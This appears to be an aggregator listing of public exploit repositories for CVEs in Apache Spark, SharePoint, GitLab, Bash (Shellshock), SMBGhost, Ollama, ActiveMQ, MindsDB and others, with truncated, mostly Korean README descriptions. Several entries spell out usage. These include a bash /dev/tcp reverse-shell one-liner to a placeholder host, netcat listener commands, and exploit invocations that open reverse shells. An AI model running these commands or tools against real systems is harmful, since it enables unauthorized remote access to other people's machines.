CVE-2022-33891

CVE-2022-33891 - Apache Spark 명령 주입 취약점 ⚠️ 교육 및 승인된 보안 연구 목적으로만 사용하세요 원본 익스플로잇 작성자 원본 PoC 작성자 AkbarTrilaksana께 깊은 감사를 드립니다. 설명 Apache Spark UI는 구성 옵션 spark.acls.enable을 통해 ACL을 활성화할 수 있는 기능을 제공합니다. 인증 필터와 함께 사용하면 사용자가 애플리케이션을 보거나 수정할 수 있는 접근 권한이 있는지 확인합니다. ACL이 활성화된 경우 HttpSecurityFilter의 코드 경로를 통...

CVE-2025-53770-SharePoint-Zero-Day-Variant-Exploited-for-Full-RCE

🚨 CVE‑2025‑53770 – SharePoint 제로데이 변종, 전체 RCE에 악용됨 CVE‑2025‑49706에서 중요한 확대 Aditya Bhatt 작성 – Red Team | VAPT 📌 요약 CVE‑2025‑53770 은 현재 실제 환경에서 적극적으로 악용되고 있는 Microsoft SharePoint의 심각한 CVSS 9.8 무인증 RCE 취약점 입니다. 이는 독립적인 문제가 아니라 제가 이전에 다룬 CVE‑2025‑49706의 변종 입니다. 하지만 CVE‑2025‑49706은 인증이 필요했던 반면, 53770은...

gitlab-RCE-11.4.7

gitlab-RCE-11.4.7 GitLab 11.4.7 CE RCE 익스플로잇 - 다양한 리버스 쉘 지원. CVE-2018-19571: https://nvd.nist.gov/vuln/detail/CVE-2018-19571 CVE-2018-19585: https://nvd.nist.gov/vuln/detail/CVE-2018-19585 학습 및 연습 목적으로 Sam Redmond and Tam Lai Yin의 버전을 수정한 것입니다. 사용 방법 모든 것이 그래야 하듯 Python3로 작성되었습니다. 의존성: pip3 insta...

CVE-2024-4358

CVE-2024-4358 CVE-2024-4358에 대한 취약점 탐지 및 대규모 익스플로잇 도구 설치: git clone https://github.com/RevoltSecurities/CVE-2024-4358 pip install -r requirements.txt python3 exploit.py --help 사용법: python3 exploit.py -h / / / / / / / / | |// // / / / / / / / / / / / / / / // // / / / / / / / ///|// /|// // //...

test-task-CVE-2024-25600

test-task-CVE-2024-25600 인턴십 테스트 작업을 위한 저장소입니다. 0단계: 이 git 저장소를 클론하세요 git clone https://github.com/Sibul-Dan-Glokta/test-task-CVE-2024-25600 1단계: Docker 컨테이너 생성 Docker 데몬 시작 sudo systemctl start docker.service Docker 컨테이너 시작 Docker 컨테이너를 시작하려면 wpcontainer 디렉토리로 이동하세요. cd path/to/wpcontainer Docke...

cve-2010-4221

cve-2010-4221 이 익스플로잇은 몇 가지 개념을 연구하기 위해 작성되었습니다. 즐기세요! 사용법 Proftpd Telnet IAC 원격 제네릭 익스플로잇 작성자: F0rb1dd3n 사용법: ./proftpd-exploit 공격 유형: 0 - 소켓 재사용Socket Reuse 1 - 리버스 셸Reverse Shell 2 - 바인드 셸Bind Shell 3 - 직접 작성한 셸코드raw 형식 대상 IP, 포트, 선택한 공격 유형만 입력하면 됩니다. 프로그램이 로컬호스트, 로컬 포트 또는 원격 바인드 포트와 같은 추가 정보를...

CVE-2019-11223

CVE-2019-11223 Wordpress 플러그인 SupportCandy 버전 2.0 이하에서의 임의 파일 업로드 취약점 https://cert.kalasag.com.ph/news/research/vulnerable-wordpress-plugin-lets-you-take-over-websites/ https://wordpress.org/plugins/supportcandy/developers...

CVE-2014-6271

CVE-2014-6271 python2.7 자신의 머신에서 리슨을 시작하세요. nc -l -p 4444 아래 규칙에 따라 python 스크립트를 실행하세요: python shellpoc.py python shellpoc.py 10.10.10.101 /cgi-bin/status 10.10.10.1/4444 즐기세요...

CVE-2019-11580

CVE-2019-11580 CVE-2019-11580 취약점을 원격으로 악용하기 위한 셸입니다...

Confluence-RCE

Usage: python3 mian.py 탐지 명령 실행 리버스 셸 socks5 및 http 프록시 지원 교류 및 학습 목적으로만 사용하세요...

CVE-2022-36804-PoC

CVE-2022-36804-PoC 대부분의 BitBucket 버전 ://: -e check,rce,ssrf,download,revshell, --exploit check,rce,ssrf,download,revshell Exploit to perf...

CVE-2022-36553-PoC

CVE-2022-36553 - Hytec Inter HWL-2511-SS 인증되지 않은 원격 명령 주입 취약점. 개요 이 저장소는 Hytec Inter HWL-2511-SS 장치의 중요한 취약점인 CVE-2022-36553을 악용하기 위한 개념 증명PoC 리버스 셸 스크립트를 포함합니다. 이 스크립트는 실용적인 데모로, 제 블로그 게시물 "Hytec Inter HWL-2511-SS - 취약점 보고서"에서 제공된 심층 분석을 보완합니다. 영향을 받는 버전 버전 1.05 이하의 모든 Hytec Inter HWL-2511-SS 장치...

Follina

Follina 패치됨 Windows용 원격 액세스 셸 cve-2022-30190 기반 ⚠️ 교육 목적으로만 제작되었습니다 📚 설치 및 사용법 🛠️ $ git clone https://github.com/AbdulRKB/Follina.git $ cd Follina $ pip install -r requirements.txt $ python main.py...

CVE-2020-9484

CVE-2020-9484 동영상을 보려면 이미지를 클릭하세요 사용법 실행 가능하게 만드세요 chmod +x CVE-2020-9484 ./CVE-2020-9484 http://10.10.10.10./8080/ 10.10.1.1 4444...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Linux에서 실행해야 하며, 환경에 gcc가 필요합니다. golang을 설치하고 다음 명령을 실행하여 리버스 셸을 획득하십시오. go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 참고: 익스플로잇에는 몇 분이 걸릴 수 있으니 인내심을 가지고 기다려 주시기 바랍니다...

CVE-2023-46604

CVE-2023-46604 요구 환경에 따라 피해자 머신과 대상 머신의 2개 이미지를 포함한 docker-compose를 구축합니다. 피해자 머신에서 ActiveMQ를 시작합니다. 공격자 머신으로 전환: • HTTP 서비스를 열어 poc를 전송합니다: python3 -m http.server • netcat을 사용하여 공격자 머신으로의 연결을 수신합니다: nc -nlvp 4444 • 공격자 머신으로 reverse shell 연결을 생성하는 페이로드를 전송합니다: python3 exploit.py -i 172.18.0.3 -p...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 취약점 설명 JumpServer 임의 파일 쓰기 취약점 CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. 스크립트와 필요한 파일을 같은 디렉터리에 두십시오. 2. Google Chrome이 설치되어 있는지 확인하고, Google Chrome의 버전 번호를 확인하십시오. reg query "HKEYCURRENTUSER\Software\Google\Chrome\BLBeacon" /v version 3. Google Chrome의 버전...

CVE-2020-0796

CVE-2020-0796 원격 코드 실행 POC c 2020 ZecOps, Inc. - https://www.zecops.com - 공격자의 실수를 찾아내다 CVE-2020-0796 / "SMBGhost"에 대한 원격 코드 실행 POC 예상 결과: 시스템 권한의 리버스 셸. 교육 및 기업 환경에서의 테스트 용도로만 사용하세요. ZecOps는 이 코드에 대해 책임을 지지 않으며, 사용은 개인의 책임입니다. 서버, 엔드포인트 및 모바일 장치용 에이전트 없는 DFIR 도구자동으로 SMBGhost 및 기타 공격 유형 탐지에 관심이...

cve-2026-27483

CVE-2026-27483 MindsDB パストラバーサルからRCEへのPoC このPoCスクリプトは、以下のGitHubアドバイザリに基づいています。 デフォルトではMindsDBは認証を使用しません PoCは認証なし と認証あり の両方のモードをサポートしています /api/handlers/ をクエリして利用可能なハンドラーを見つけ、インストールされていない任意の利用可能なハンドラー名を使用できます PoCは /venv/lib/python3.10/site-packages/pip/init.py を上書きします...

CVE-2023-20887

CVE-2023-20887 익스플로잇 VMWare vRealize Network Insight 사전 인증 RCE CVE-2023-20887 사용법 usage: exploit.py -h -t TARGET -l LOCALHOST -p LOCALPORT optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Target url, http://localhost:9000 -l LOCALHOST, --localhost LOCALHOS...